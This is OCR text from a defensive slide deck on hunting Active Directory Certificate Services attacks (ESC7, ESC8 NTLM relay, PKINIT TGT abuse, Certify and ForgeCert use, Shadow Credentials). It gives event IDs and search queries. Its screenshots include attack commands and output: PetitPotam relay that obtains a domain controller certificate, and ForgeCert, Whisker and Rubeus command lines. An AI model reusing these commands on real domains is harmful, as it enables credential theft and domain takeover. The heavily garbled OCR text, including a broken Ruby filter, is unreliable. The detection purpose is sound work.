. 1696223450-2713567039-1112</Data>

Value: 34998850 <Data Name="SubjectUserName">simpleuser</Data>

<Data Name="SubjectDomainName">DEMO</Data>
<Data Name="SubjectLogonld">0x14659ba</Data>




Use Logstash ruby filter to extract EditFlags from mask

if [EventID] == "13" and [TargetObject] =~ "\\PolicyModules\\CertificateAuthority_MicrosoftDefault.Policy\\EditFlags" {
ruby {
code => "
const = {
'"EDITF_ENABLEREQUESTEXTENSIONS' => 0x00000001,
'"EDITF_REQUESTEXTENSIONLIST' => 0x00000002,
'"EDITF_DISABLEEXTENSIONLIST' => 0x00000004,
'"EDITF_ADDOLDKEYUSAGE' => 0x00000008,
'"EDITF_ADDOLDCERTTYPE' => 0x00000010,
'"EDITF_ATTRIBUTEENDDATE' => 0x00000020,
'"EDITF_BASICCONSTRAINTSCRITICAL' => 0x00000040,
'"EDITF_BASICCONSTRAINTSCA' => 0x00000080,
'"EDITF_ENABLEAKIKEYID' => 0x00000100,
'"EDITF_ATTRIBUTECA' => 0x00000200,
'"EDITF_IGNOREREQUESTERGROUP' => 0x00000400,
'"EDITF_ENABLEAKIISSUERNAME' => 0x00000800,
"EDITF_ENABLEAKIISSUERSERIAL' => 0x00001000,
'"EDITF_ENABLEAKICRITICAL' => 0x00002000,
'"EDITF_SERVERUPGRADED' => 0x00004000,
'"EDITF_ATTRIBUTEEKU' => 0x00008000,
'"EDITF_ENABLEDEFAULTSMIME' => 0x00010000,
'"EDITF_EMAILOPTIONAL' => 0x00020000,
'"EDITF_ATTRIBUTESUBJECTALTNAME2' => 0x00040000,
'"EDITF_ENABLELDAPREFERRALS' => 0x00080000,
'"EDITF_ENABLECHASECLIENTDC' => 0x00100000,
'EDITF_AUDITCERTTEMPLATELOAD' => 0x00200000, Baftegory ReGiEEEy valiaH 4Rt (File? ReGIsEEvenc)
'"EDITF_DISABLEOLDOSCNUPN' => 0x00400000
b ® Channel " Microsoft-Windows-Sysmon/Operational
editflags_list = []
rawS = event.get('Details') ® Details ' DWORD (©x0835814e)
matchdata = rawS.match(/DWORD \((@x[@0-9a-fA-F1{8})\)/)

matchdata.captures @ EditFlags A
editflags = matchdatal[1] EDITF_REQUESTEXTENSIONLIST, EDITF_DISABLEEXTENSIONLIST, EDITF_ADDOLDKEYUSAGE,

EDITF_BASICCONSTRAINTSCRITICAL, EDITF_ENABLEAKIKEYID, EDITF_ENABLEDEFAULTSMIM
E, EDITF_ATTRIBUTESUBJECTALTNAME2, EDITF_ENABLECHASECLIENTDC, EDITF_AUDITCERT
TEMPLATELOAD

const.each_pair do |key, value|
if editflags.to_i(base=16) & value != @
editflags_list << key
end ® EventID
end
event.set('EditFlags', editflags_list)"




ESC7 — Abuse Manage CA right to remotely enable the
EDITIF_ATTRIBUTESUBJECTNAME?2. Let's hunt it!

Search for changing of the EditFlags configuration entry, where EDITF_ATTRIBUTESUBJECTALTNAME?2 flag is enabled:
EventID:4891 AND Node:PolicyModules* AND Entry:EditFlags AND Value list:*EDITF_ATTRIBUTESUBJECTALTNAMEZ2*

>

Time «

May 16, 2022 @ ©9:04:56.190

EventID

4891

Channel

Security

SubjectUserName

simpleuser

Node Entry Value

PolicyModules\Ce EditFlags 57096002
rtificateAuthori

ty_MicrosoftDefa

ult.Policy

Value_list

EDITF_REQUESTEXTENSIONLIST, EDITF_BASICCONSTRAINTSCRITICA
L, EDITF_ENABLEAKIKEYID, EDITF_ATTRIBUTECA, EDITF_IGNORER
EQUESTERGROUP, EDITF_ENABLEAKIISSUERSERIAL, EDITF_ENABLEA
KICRITICAL, EDITF_ENABLEDEFAULTSMIME, EDITF_EMAILOPTIONA
L, EDITF_ATTRIBUTESUBJECTALTNAME2, EDITF_AUDITCERTTEMPLAT
ELOAD, EDITF_DISABLEOLDOSCNUPN

Search for changing of the related registry value:

EventID:13 AND TargetObject:("*\\Services\\CertSvc\\Configuration\\*" AND "*\\PolicyModules\\*" AND "\\EditFlags") AND
EditFlags:*EDITF_ATTRIBUTESUBJECTALTNAMEZ2*

>

Time +

May 16, 2022 @ 09:04:56.190

Channel

Microsoft-Win
dows-Sysmon/0
perational

EventID

13

Category

Registry value
set (rule: Regi
stryEvent)

Image TargetObject

C:\Windows\s HKLM\System\CurrentControlSet

ystem32\cert \Services\CertSvc\Configurati

srv.exe on\demo-CA\PolicyModules\Cert
ificateAuthority_MicrosoftDef
ault.Policy\EditFlags

Details EditFlags

DWORD (0x63 EDITF_REQUESTEXTENSIONLIST, EDITF_BASICCONST
673742) RAINTSCRITICAL, EDITF_ENABLEAKIKEYID, EDITF_
ATTRIBUTECA, EDITF_IGNOREREQUESTERGROUP, EDI
TF_ENABLEAKIISSUERSERIAL, EDITF_ENABLEAKICRI
TICAL, EDITF_ENABLEDEFAULTSMIME, EDITF_EMAIL
OPTIONAL, EDITF_ATTRIBUTESUBJECTALTNAME2, ED
ITF AUDITCERTTEMPLATELOAD. EDITF DISABLEOLDO
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Setting insecure Certification Authority permissions
Useful events

Event 4882 generates each time when security permissions for Certification Services are changed

demo-CA Properties ? X
General Policy Module Exit Module
Extensions Storage Certificate Managers
Enroliment Agents Auditing Recovery Agents Security

Group or user names:

S2 Domain Admins (DEMO“\Domain Admins)
82 Domain Users (DEMO\Domain Users)

S8 Administrators (CA\Administrators)

82 Enterprise Admins (DEMO\Entermprise Admins)

{2] Event Properties - Event 4382, Microsoft Windows security auditing.

General Details

The security permissions for Certificate Services changed.

Allow(0x00000303) Everyone
CA Administrator

Add... Remove
Pemnissions for Everyone Allow Deny
Read ]
lssue and Manage Certfficates ]
Manage CA ]
Request Certificates ]
me/learninghets

\ 4

Certificate Manager
Read

Enroll
Allow(0x00000003) DEMO\Domain Admins
CA Administrator

Certificate Manager

Allow(0x00000303) DEMO\Domain Users
CA Administrator

Certificate Manager

Read

Enroll

Allow(0x00000003) DEMO\Enterprise Admins
CA Administrator

Certificate Manager

Allow(0x00000003) BUILTIN\Administrators
CA Administrator

Certificate Manager

Allow(0x00000203) BUILTIN\Administrators
CA Administrator

Certificate Manager

Enroll
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Setting insecure Certification Authority permissions

Let's huntit!

Search for any 4882 event (it shouldn't happen often), pay attention where SecuritySettings attribute contains insecure
permissions (CA Administrator/Certificate Manager for unprivileged users/groups):

EventID:4882 AND SecuritySettings:(Everyone OR "Domain Users" OR Authenticated)

Time «

EventID

May 16, 2022 @ 14:34:27.133 4882

Channel

Security

Category SubjectUserName SubjectUserSid

Certification Servic
es

dadmin S-1-5-21-3970906361-1696223456-2713567039-

1104

SecuritySettings

Allow(0x00000303)
CA Administrator
Certificate Mana
Read
Enroll

Everyone

ger

Allow(0x00000003)

DEMO\Domain Admins

https://t.me/learningnets

t SecuritySettings %

Allow(0©x00000303)
CA Administrator
Certificate Manager
Read
Enroll
Allow(0©x00000003)
CA Administrator
Certificate Manager
Allow(0©x00000303) DEMO\Domain Users
CA Administrator
Certificate Manager
Read
Enroll

Everyone

DEMO\Domain Admins
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Setting insecure Certification Authority permissions
Useful events

B Registry Editor
File Edit View Favorites Help

https://t.me/learningnets

v-§ CertSvc || Name Type Data
v-L C°":9”'até‘:’ (ab](Default) ~ REG. 57 (value not set)
ML e"‘c"s'p $%|Security  REG_BINARY 0100 14 8040 01 00 00 4c 01
----- EncryptionCSP ; :
: | P - 1
<.F EBxtModules {2] Event Properties - Event 13, Sysmon
- v | CertificateAuth
General i
SMTP Details
_ PolicyModules :
» Y i Registry value set:
p— RuleName: Certificate Authority
“““ -ecu-nty EventType: SetValue
chtdiscsi UtcTime: 2022-05-19 04:39:43.237

Processld: 5180

ProcessGuid: {55a1a30f-ac58-6285-f500-000000001200}

Image: C:\Windows\system32\certsrv.exe

\Security

TargetObject: HKLM\System\CurrentControlSet\Services\CertSvc\Configuration\demo-CA

Uetalls: binary Uata
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ESC8 — NTLM Relay to AD CS HTTP Endpoints

* AD CS supports several HTTP-based enrollment methods if
additional AD CS server roles are installed.

e These HTTP-based certificate enrollment interfaces are all
vulnerable NTLM relay attacks.

* Using NTLM relay attacker can relay any inbound NTLM
authenticating to the AD CS HTTP-based interface and
request a certificate for the impersonated user\machine
account.

Microsoft Active Directory Certificate Services -- demo-CA

http://ca.demo.local/certsrv/

Submit a Certificate Request or Renewal Request

To submit a saved request to the CA, paste a base-64-encoded CMC or PKCS #10 certificate request or PKCS
#7 renewal request generated by an external source (such as a Web server) in the Saved Request box.

Saved Request:

Base-64-encoded
certificate request
(CMC or

PKCS #10 or
PKCS #7):

Certificate Template:
[ Subordinate Certification Authority v |

Additional Attributes:

Attributes:
)

demo P@ssword demo. local 10.3.132.25 10.3.132.23 10.3.132.25

PetitPotam.py

I\ ) _ o
|/ /-0 1 Zl 1 Zl 2N T T
N N O A O/ VO O O O

B L T N N Ty B K T O R B T N RUTITITIO B KI T BTN i TR

00" 00" 00" 00" —0=0="" 00" —0=0=""" —0=O="""—0=0—""" —0—0—"

PoC to elicit machine account authentication via some MS-EFSRPC functions
by topotam (@topotam77)

Inspired by @tifkin_ & @elad_shamir previous work on MS-RPRN

Trying pipe lsarpc

[-] Connecting to ncacn_np:10.3.132.25[\PIPE\lsarpc]
[+] Connected!

[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e
[+] Successfully bound!

[-] Sending EfsRpcOpenFileRaw!

[+] Got expected ERROR_BAD_NETPATH exception!!

[+] Attack worked!

Servers started, waiting for connections

SMBD-Thread-5: Received connection from 10.3.132.25, attacking target http://ca.demo.local
HTTP server returned error code 200, treating as a successful login

Authenticating against http://ca.demo.local as DEMO/DC$ SUCCEED

SMBD-Thread-7: Connection from 10.3.132.25 controlled, but there are no more targets left!
Generating CSR...

CSR generated!

Getting certificate...

[*] GOT CERTIFICATE! ID 181
[*] Base64 certificate of user DC$:

MIIRTQIBAZCCERcGCSqGSIb3DQEHAaCCEQEghEEMITRADCCBY8GCSqGSIb3DQEHBqCCBYAwggccAgEAMITHFQYJKoZIhveNAQeBMBwGCiq
GSIb3DQEMAQMwDgQI/+EOMiOyDDgCAggAgIIG6IAOIIvSHTh1ulK/dmQtCtIFU6TPO58nR4+FXzj7qSehwIHK7LKD20ovsnaSd3ydFAAcUL17
ACw5/1BLmge@W81y4gCABLftdUNFcctr7k81/w8RrBTdoGIWbktOhz9WYK8jhoQwldj3s7xXoVbvIf/AAaQIbT jbx9GXk7AGsfV+pWGIfqz
ux9pXhClyVQq46ETxpGIsLIWOEQJQyCv7£J0ot4TB8L4en1XZmDinJMU/82che6MkcdIGIibHXhA4qoLbKNfKw5SWMA3rTSaewAZRyulgN3RZ
E7cwIWy2D2tXcwonawrU+/qa514GVRux8SdROcwnsHMyFCMTKQLHrPyrZGdKE79D6x1iq/8hYYVznKrk7xDsajzPRAL6jZGpOwrQ7Dn99EQI
yrwB9ipOfjxmt++ug3k8yrRvgszwHY+DAuKVNe jgIORAMxo LA11TUuH1vt8BSmgJpDVnglswDsBKjxWBSAABm2NjyRXLC+JskoVzG6hEnv2
uom12kSrzZZkPv53cF/HAa7N/PrQakgJ90s3XYx5dGbLGjPlu2BpeNgGMbQkGGEKDShBI187b+n/Qb4Wmazql9/zGEfXI3gRrzzPtcMIny9DB



ESC8 — NTLM Relay to AD CS HTTP Endpoints. Useful events

Name Headers Payload Preview Response Initiator Timing Cookies
* Machine accounts are not supposed to use the manual B °e:f"8“-éj° vFormData  viewsource  view URL-encoded
- certspc.gi .
way of requesting certificates via HTTP-based interface, = cersrtgf S
so it doesn’t make sense to render them on the MIICUjCCATOCAQAWDTELMAKGALUEBhMCYWEWGGE iMAQGCSqGSI3DQEBAQUAAAIB
o . . DwAwggEKA0IBAQDLOHPYuyWi48MyjXTmPV6URhiLqOWaW6qTIcLe+cv13B7H;TD
Certificate AUthOI’Ity Web Enrollment service. 8WRqypLAOFEZhSSCCotLizY7vPAj @pFSwDIxjHede JHIBOCE tFQOYII26/DDGMYa
nI2MaR70puzbjLT+cN+cWWadrq72ilom0oP]/FdeDP9XjtSYOpk2r0/u+e@ylL c8X
* However it is possible to request certificate using any D2VQ+AQaJBTPRbVAQhYbVKSO4LXyOLgeS/ FuvH4UERON4BAS rakaNQLFaaIWC
H H I JInfqlte@gzgW4c2hJI52FiRx89HX0Yq20xxws j z+h45QqwYEbCp8Wqd6sesiDrSK
pUb“Shed template' To enrO” Certlflcate It Is needed to qF fbFHZp@O ly+skfqUNKIGasJEeH3RF £87xtAGMBAAGGADANBgkghkiGOW@BAQsF
send specifica”y crafted HTTP request to the CA Web AAOCAQEARR rB1mV3AMANEUTINsPaVXKv remBYBXAC1R4CpYUQRTpX8mi tKqTVES
. iiaJBczVBqwwV5QhiwBOAAqDApGRBVMLQAHIZskAINL8rC3aMos ryWdrdhNclt5m
E n ro | | m e nt Se rVICe * cloSqldniF5Wht1YBzfCSmw/m2x1MjEORHNkvLiae/jQ+65/cscr2A14yrzLNs7D
. 11/V6+RIgX9/ybxNXqSeOPpPdc9qPfz2Rm1sEYkq6FEdAtOWOymHnuLND+rNX/ /P
* Detect NTLM Relay to AD CS HTTP EndeIntS by 5QaJ7B6r7fNtaQbpw2//RLb+RbwkQDAMTIuyX/L IM+oHriXUWD1wneXyYAE810p3
collecting AD CS IS log files and hunt for a cs-username S i
are haVlng S Slgn CertAttrib: CertificateTemplate:AnyECU2
UserAgent:Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7) AppleWebKit/53
36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36 OPR/86.0.4363.
9
FriendlyType: Saved-Request Certificate (18/05/2022, 00:36:36)
ThumbPrint:
TargetStoreFlags: 0
3 requests | 19.3 kB transfe SaveCert: yes
v = 1 1 1
iizi;;{zi? > 1Itd;_crosoft Internet Information Services 10.0 C:\inetpub\Iogs\LogFiIes\W3SVC1\u_ex*_Iog
#Date: 2022-05-17 20:20:00
#Fields: date time s—-ip cs—-method cs-uri-stem cs—uri—-gquery s—port cs—username c-ip cs(User—Agent) cs(Referer) sc—-status sc-substatus sc—win32-status time-taken
2022-05-17 20:26:44 10.3.132.46|GET /certsrv/certfnsh.asp - 80 - 10.3.132.23 - - 401 2 5 1
2022-05-17 20:26:44 10.3.132.46|GET /certsrv/certfnsh.asp - 80 DEMOA\DCS 10.3.132.23 - - 200 0 0 19
2022-05-17 20:27:00 10.3.132.46|POST /certsrv/certfnsh.asp - 80 DEMO\DCS 10.3.132.23 Mozilla/5.0+(X11l;+Linux+x86_64;+rv:78.0)+Gecko/20100101+Firefox/78.0 - 200 0 0 15731
2022-05-17 20:27:00 10.3.132.46|GET /certsrv/certnew.cer ReqgID=181 80 DEMO\DCS$ 10.3.132.23 - - 200 0 0 O
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ESC8 — NTLM Relay to AD CS HTTP Endpoints. Let's hunt!

Any NTLM-relay with forced authentication attack (Printer Bug, PetitPotam, etc...) will lead to NTLM authentication on
target host (CA in this case) from victim machine (DC in this case).

This behavior is very suspicious, search for suspicious logon events (EventID 4624) on the CA servers from machine
accounts that were made using NTLM:

EventlD:4624 AND TargetUserName.keyword:/.*\S/  AND AuthenticationPackageName:"NTLM" AND
Hostname:("ca.demo.local" OR "subca.demo.local")

>

>

Time + EventID Hostname TargetUserName AuthenticationPackageName
May 18, 2022 @ 22:46:05.852 4624 ca.demo.local DCS NTLM
May 18, 2022 @ 22:34:22.371 4624 ca.demo.local DCS NTLM

https://t.me/learningnets
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Use certificates to request TGTs. Useful events

{2] Event Properties - Event 4768, Microsoft Windows security auditing.

General Details

A Kerberos authentication ticket (TGT) was requested.

Account Information:

Account Mame: DCs
Supplied Realm Mame: demao.local
User ID: DEMONDCS

. . Machine account (ends with S)
Service Information:

Service Mame: krbtgt

Service |D: DEMOMkrbtgt
Metwork Information:

Client Address: affff:10.3.132.26

Client Port: 50977
Additional Information:

Ticket Options: Cred0200010

Result Code: Crell

Ticket Encryption Type:  x17

Pre-Authentication Type: 16 Non empty certificate

Certificate Information: information fields

A Kerberos authentication ticket (TGT) was requested.

Account Information:
Account Mame:
Supplied Realm Mame:

simpleuser
demo.local

User [D:

DEMOhsimpleuser

Service Information:

User account

Service Name: krbtgt:[
Service ID: DEMON krbtgt
Metwork Information:
Client Address: ffff10.3.132.26
Client Port: 58051
Additional Information:
Ticket Options: Cre40200010
Result Code: (e
Ticket Encryption Type:  x17
Pre-Authentication Type: 16 Non empty certificate
Certificate |Information: information fields
Certificate lssuer Mame: demo-C4

Certificate Thumbprint:

Certificate Serial Mumber:

1EODDOOOB2474234FA4EET6EA00DDDDD000E2

BFC37C35F91C40AB1578EBD39CC596852DCTFTRA

Certificate |ssuer Mame: demo-C4

hitps:y/t.m Jlaumbprint:

Certificate Serial Number:  1EQ00000BF3EBECZ293CFF2DE010000000000EF
el ODOETE3FAZFESDATFBTCTTFS5T0F32011EVDCCFC
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Use certificates to request TGTs. Let's hunt it

Search for TGT requests (EventID 4768) from computer accounts that were made using PKINIT:
EventID:4768 AND CertlssuerName:* AND TargetUserName.keyword:/. *\S/

>

>

Time + EventID TargetUserName CertlssuerName CertSerialNumber CertThumbprint
May 18, 2022 @ 081:10:2¢@ © 4768 DC$ demo-CA 1E000000B838DF78B2642C43A10000000000B8 5F2645901CDC664778C88A0118E78F1CADD235ED
May 16, 2022 @ 20:31:15.311 4768 DCS$ demo-CA 1E000000BO8B6A9885EET1FBA8AABB00000000BO 2E3D5FC8C451A333DF3815C76E12AAB5D5ES85F5

Search for TGT requests (EventID 4768) from non computer accounts that were made using PKINIT except of the user’s
whitelist:

EventlD:4768 AND  CertlssuerName:* AND  -TargetUserName.keyword:/.*\S/ AND  -TargetUserName:("
known_user_with_smartcardl " OR " known_user_with_smartcard2")

>

>

Time + EventID TargetUserName CertlssuerName CertSerialNumber CertThumbprint
May 18, 2022 @ 01:08:16.822 4768 simpleuser demo-CA 1E000000B2474234F44E616B9A0000000000B2 BFC37C55F91C40AB1578EBD39CC596852DC1F76A
May 17, 2022 @ 14:44:24.867 4768 simpleuser demo-CA 1E000000B2474234F44E616B9A0000000000B2 BFC37C55F91C40AB1578EBD39CC596852DC1F76A
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AD CS attacks tools usage detection. Useful events

Use any process create event with command line field to find execution of the Certify/ForgeCert tools (or any other tool that may
appear in the future) by specific command line arguments, process name (some dummy "hackers" may use tools even without
renaming) or OriginalFileName attribute from the VERSIONINFO

i3] Event Properties - Event 4688, Microsoft Windows security auditing.

General Details

A new process has been created.

Creator Subject:
Security ID: DEMO\dadmin
Account Name: dadmin
Account Domain: DEMO
Logen ID: 0x79110

Target Subject:
Security ID: NULL SID
Account Name: -
Account Domain: -
Logon ID: 0x0

Process Information:
New Process |D: 0x648
New Process Name: C:\Tools\Certify.exe
Ioken Elevation lype: Yo/ 1933
Mandatory Label: Mandatory Label\Medium Mandatory Level
Creator Process ID: 0x23c4
Creator Process Name: C:\Windows\System32\cmd.exe
Process Command Line:  Certify.exe find /vulnerable

hitps./t-mellearningnhels

id] Event Properties - Event 1, Sysmen

General Details

Process Create:

RuleName: -

UtcTime: 2022-05-14 11:11:04.026

ProcessGuid: {90673466-8e48-627f-9a10-000000004200}
Processld: 10280

Image: C:\Temp\ForgeCert\ForgeCert.exe

FileVersion: 1.0.0.0

Description: ForgeCert

Product: ForgeCert

Company: -

OriginalFileName: ForgeCert.exe
CommandLine: ForgeCert.exe --CaCertPath C:\Temp\demo-CA.p12 --CaCertPassword 123 --
SubjectAltName dadmin@demo.local --NewCertPath C:\Temp\dadmin.pfx --

NewCertPassword P@ssword
CurrentDirectory: C:\Temp'\ForgeCert\
User: DEMO\simpleuser

= Sl fANSIN A& s ) A 4 £ N4 7 NNANMAOAANANANMNTY
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Certify/ForgeCert tools command line
Let's hunt it!

Search for unique Certify tool default process name/OriginalFileName or command line arguments:

CommandLine:(*certify* OR *pkiobjects* OR (*enrollcert* AND *onbehalfof*) OR (*find* AND *clientauth*) OR
(*find* AND *enrolleeSuppliesSubject*) OR (*find* AND *vulnerable*) OR (*find* AND *showAllPermissions*) OR
(*find* AND *json* AND *outfile*) OR (*request* AND *altname*)) OR CommandLine.keyword:(/.* \/ca\:.*/ AND /.*
\/template\:.*/) OR CommandLine.keyword:(/.* \/ca\:.*/ AND /.* \/id:.*/) OR (CommandlLine:*download* AND
CommandlLine.keyword:(/.* \/ca\:. */ AND /. * \id\:.*/)) OR OriginalFileName:"Certify.exe"

Time + Channel EventID Category CommandLine
> May 14, 2022 @ 01:14:05.383 Security 4688 Process Creation Certify.exe request /ca:cal\demo-ca /template:SubCA3
> May 14, 2022 @ ©00:59:21.931 Security 4688 Process Creation Certify.exe cas

Search for unique ForgeCert tool default process name/ OriginalFileName or command line arguments:

CommandLline:(*ForgeCert* OR (*CaCertPath* AND *SubjectAltName*) OR (*NewCertPassword* AND
*NewCertPath*) OR (*CaCertPath* AND *CaCertPassword*)) OR OriginalFileName:"ForgeCert.exe"

Time + Channel EventID Category CommandLine

> May 14, 2022 @ 13:49:54.479 Security 4688 Process Creation ForgeCert.exe --CaCertPath C:\Temp\demo-CA.p12 --CaCertPassword 123 --SubjectAltName

dadmin@demo.local --NewCertPath C:\Temp\dadmin.pfx --NewCertPassword P@ssword

> May 14, 2022 @ 13:49:54.479 Microsoft-Windows- 1

: Process Create (rul
https://t.me/learningnets  sysmon/operational

ForgeCert.exe --CaCertPath C:\Temp\demo-CA.p12 --CaCertPassword 123 --SubjectAltName
e: ProcessCreate) dadmin@demo.local --NewCertPath C:\Temp\dadmin.pfx --NewCertPassword P@ssword




Shadow Credentials

e Windows Hello for Business (WHfB) is a
replacement of traditional password based Your organization requires Windows Hello
authentication with a key based trust model. The WAt fokes Seoonds h Greate and Ghves you fact and scsute don-Jo7 A Windoves Helo PINLIConly
public key is stored in the msDS-KeyCredentialLink e e
and private one in the TPM or other certificate
store.

 When trying to pre-authenticate with PKINIT, the
KDC will check that the authenticating user has
knowledge of the matching private key, and a TGT
will be sent if there is a match.

e There are multiple scenarios where an attacker
can have control over an account that has the
ability to edit the msDS-KeyCredentialLink
attribute of other objects (e.g. member of a Key
Admins or Enterprise Key Admins domain groups,
has overly ACEs, etc.).

. Setup PIN
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Shadow Credentials

This allows attackers to create a key pair, append to raw public key in the attribute, and obtain persistent and stealthy access to the

target object (can be a user or a computer).

\\WS: cmd.exe - t X

C:\Tools>.\Whisker.exe add /target:"ws$" /domain:"demo.local"™ /dc:"dc.demo.local”
/path:"cert.pfx" /password:"P@ssword"
*] Searching for the target account
Target user found: CN=WS,OU=Workstations,DC=demo,DC=1local
Generating certificate
Certificate generaged
Generating KeyCredential
KeyCredential generated with DevicelID 43a78f2b-874d-4447-83dc-7643d4205995
Updating the msDS-KeyCredentiallink attribute of the target object
Updated the msDS-KeyCredentiallink attribute of the target object
Saving the associated certificate to file...
The associated certificate was saved to cert.pfx
You can now run Rubeus with the following syntax:

-

]
-1
el
.-]
*]
-1
i

]

]
*]
*]

IRubeus .exe asktgt /user:ws$ /certificate:cert.pfx /password:"P@ssword” /domain:dem
lo.local /dc:dc.demo.local /getcredentials /show

https://t.me/learningnets

WS Properties

General Operating System
Location Managed By

? X

Member Of Delegation Password Replication
Object Security Dial4n Adtribute Editor

Attributes:
Attribute Value A
msDS-GeoCoordinatesAltit... <not set>
msDS-GeoCoordinatesLati... <not set>
msDS-GeoCoordinatesLon... <not set>

msDS-HABSenioritylndex
msDS-HostService Account
msDS-Krb TatLink
msDS-LastFailedInteractiv...
msDS-LastKnownRDN
msDS-LastSuccessfullnter...
msDS-NcType
msDS-NeverRevealGroup
msDS-ObjectSoa

msDS-PhoneticCompanyN...
<

<not set>
<not set>

<not set>

<not set>
<not set>
<not set>
<not set>
<not set>
<not set>
<not set> N

Edit

Filter




Shadow Credentials. Useful events

Detect setting up of the ms-DS-Key-Credential-Link attribute by auditing changes to the account’s object attribute.

{d] Event Properties - Event 5136, Microsoft Windows security auditing. id] Event Properties - Event 4662, Microsoft Windows security auditing.
General Details General Details
A directory service object was modified. An operation was performed on an object.
Subject: Subject : !
Security ID: DEMO\WSS Securiy [b: DEMOAWSS
. Account Name: WSS
Account Name: WSS :
: Account Domain: DEMO
Account Domain: DEMO oD Ox1EDOEDD
Logon ID: Ox1EDOEDD gonTL®
< . Object:
Directory Service: Object Server: DS
Name: demo.local ] ) Object Type: computer
Type:  Active Directory Domain Services | Object Name: CN=WS,0U=Workstations,DC=demo,DC=local |
Handle ID: 0xQf
Object:
| DN: CN=WS,0U=Workstations,DC=demo,DC=local | Operation:
GUID:  CN=WS,0U=Workstations,DC=demo,DC=local Operation Type: Object Access
Class:  computer | Accesses: Write Property |
Attribute: Access Mask: 0)@0
| LDAP Display Name: msDS-KeyCredentialLink | Properties: Write Property
Syntax (OlD)' 2.5.5.7 {9b026d36-0d3c-465c-8bee-5199d71 65cba}
. B.829:<Binars:CN= 8 - . - {5b47d60f-6090-40b2-9f37-2a4deB8f3063}
Value: B:828:<Binary>:CN=WS,0U=Workstations,DC=demo,DC=local (b§967286-0de6-11d0-3285-00a300 30492 e ROR P
Operation: GUID
Type:  Value Added Additional Inf o
Correlation ID: _ {a7cdadc6-72bf-43d8-b750-07aa0ddaefc) e i
Application Correlation ID: - P et e
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Shadow Credentials. Let’s hunt it!

Search for user or machine account’s object modifications:

EventID:5136 AND OperationType:"%%14674" AND AttributeLDAPDisplayName:"msDS-KeyCredentialLink"

Time + EventID SubjectUserName OperationType ObjectDN ObjectClass AttributeLDAPDisplayName AttributeValue
> May 15, 2022 @ 23:59:08.088 5136 WSS Value %%14674 CN=WS, OU=Workstation computer msDS-KeyCredentiallink B:828:%%14672 :CN=WS, OU=Wor
Added s,DC=demo, DC=1ocal kstations, DC=demo,DC=local
h f [ h d hi ’s object:
Search for operations that were made on an user or machine account’s object:
B | " . N "
EventlD:4662 AND AccesslList:"%%7685" AND Properties:"{5b47d60f-6090-40b2-9f37-2a4de88f3063}
Time + EventID SubjectUserName AccesslList ObjectName Properties
> May 15, 2022 @ 23:59:04.874 4662 WS$ %%7685 %{ea82069d-4e69-4d31-b083-1323d1b0098c} | %%7685
erte {9b026d1 = -4 = =5 1
Property ms-DS-Key-Credential-Link GUID | {5b47d60f-6096-40b2-9f37-2a4de883063 )
{bf967a86-0de6-11d0-a285-00aab03049e2 }
WS Properties ? X
General Operating System Member Of Delegation Password Replication
Location Managed By Object Security Dialin Attribute Editor
Attributes:
Attribute Value A
objectClass top; person; organizational Person; user; computer
P objectGUID e382065d-4e69-4d31-b0834323d 160058
oDjectoid S 1-0-21-3970906361- 39-1
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Shadow Credentials. Useful events

Detect TGT requests that were made using PKINIT.

¥ \\WS: cmd.exe - O X < ) . - .
{4 Event Properties - Event 4768, Microsoft Windows security auditing.
C:\Tools>Rubeus.exe asktgt /user:ws$ /certificate:cert.pfx /password:"P@ssword” /domain:demo.local
/dc:dc.demo.local /getcredentials /show
General Details
A Kerberos authentication ticket (TGT) was requested.
vli.6.4 .
Account Information:
S RAGEIOHERAS GRIGY Account Name: WSS
Lls%;gnpKIHIT with etype rc4_hmac ind{subje;t: CTZL-IS?\ N Supphed Realm Name: emo,local
Building AS-REQ (w/ PKINIT preauth) for: ‘demo.locallws$’
TGT request successful! USEI’]D: DEMO\\‘VSS
base64(ticket.kirbi):
doIFfDCCBXigAwIBBaEDAgEW0OIENDCCBIhhggSUMIIEKKADAGEFoQuwbCKRFTUSUTESDQUY 1 1 .
AQKhF jAUGWZrcmI0Z3QbCmR1bW8ubGY j YWy jggRYMIIEVKADAEESOQMCAQKiggRGBITEQSRay Service Informatlon.
b7meIs:}oebtf-lg(?p?.i7:E9nRKaCZTgUIIHdcE\-:QIePevkquF+qulj71FPaSAYP1Mo gc4Us1De Ser\.qce Name: krbtgt
dsgB2n+iIIxEDaiDDkCfmz2/ca7WOEhQHSOU7EmM3NYPOCEFhr3tIfXXWE4uFgrMO =
B6/1+a6VfRiQWOOXLxyVvEeSgVOLqsvtLKMgTGtXgIIrGpA9z19sE35AqM39iZCKKqyQyfBL+b8zuMAe® Service |D: DEMO\krbtgt
gqA/@egX8FiTDapSden8AfB26G7aaVAUAiLvZyEPygnndwm7zGBOOVIAGQ]j3XEAh1vmOIMz2cWoxmnlpuD
/Lgpf+3CUCCQCO/93gXw f6dMOAaFFeagpjCT7Mfg7Xwj+8BB3Im2n9NrTKzXkudjPiG+CEbkcW80
GTwwa+4dVFDyNz jwqu/Q46nMC+oghdPVT/vIWFCxOuadQ44jE cSvS/IXdZXHFpmG2Wnp8R7VEjC8+ - .
V661G1VfYu3XYECOBQI4+zXv/RM/VA/WP+1mMpPNrTS+P6FFM uG9SqLrdedLsZzYvqFS+DHe51lyax NEtwork lnformatlon'
za55IRgphkMflagmiNyHzMuwoaKur3+DBFHSNMG2ruTYR+S8EIHAMMUSc3213C hmlefECI3i1UBSTLA Client Address: «ffff:10.3.132.26
F7d5DV7z1jP1PIuXbOkOhZHfPGCCgCAMNYzgC/bIwkBZGeiPwTbK40JIVBi5TOpA7sS5FEX/UKFUVFBIVR ¥
PcRtt7j1lehSV82NQsXMpOvwnwoDKBt2k8781tw6mlr0EjXD7KCqF1gKLtB7QVLQl gG8gFsxxXZXZPs Cllent port: 5?530
DStHzm4G6WedOlzvejL/H2an760qy7tDLiJ9xMIYe+I8VI0IEI2KSMvUSONj1k13wrog8MG73h+S5WnQ
I N2BhGEuXw+KVngq@zNZUgIbXE37eG6WLj8I2sUnfvfp8CiY41luMcLz1CeCmX jeKhG7PUABAG
zoh8vHbxv6Kt0/wP aunyL0Sd63ourGr2pQNR/w6ruIRKf33492AnI07sXvRXPo/XvPi/FEOGG e - -
RoH/eo003AwLkqDoNGQPy1Zpkx6igdxrA6ItoRio12mBK55yuZuuzXvpBC2pPir36/RpJABWAfHMAD+eD Addltlonal Informatlon'
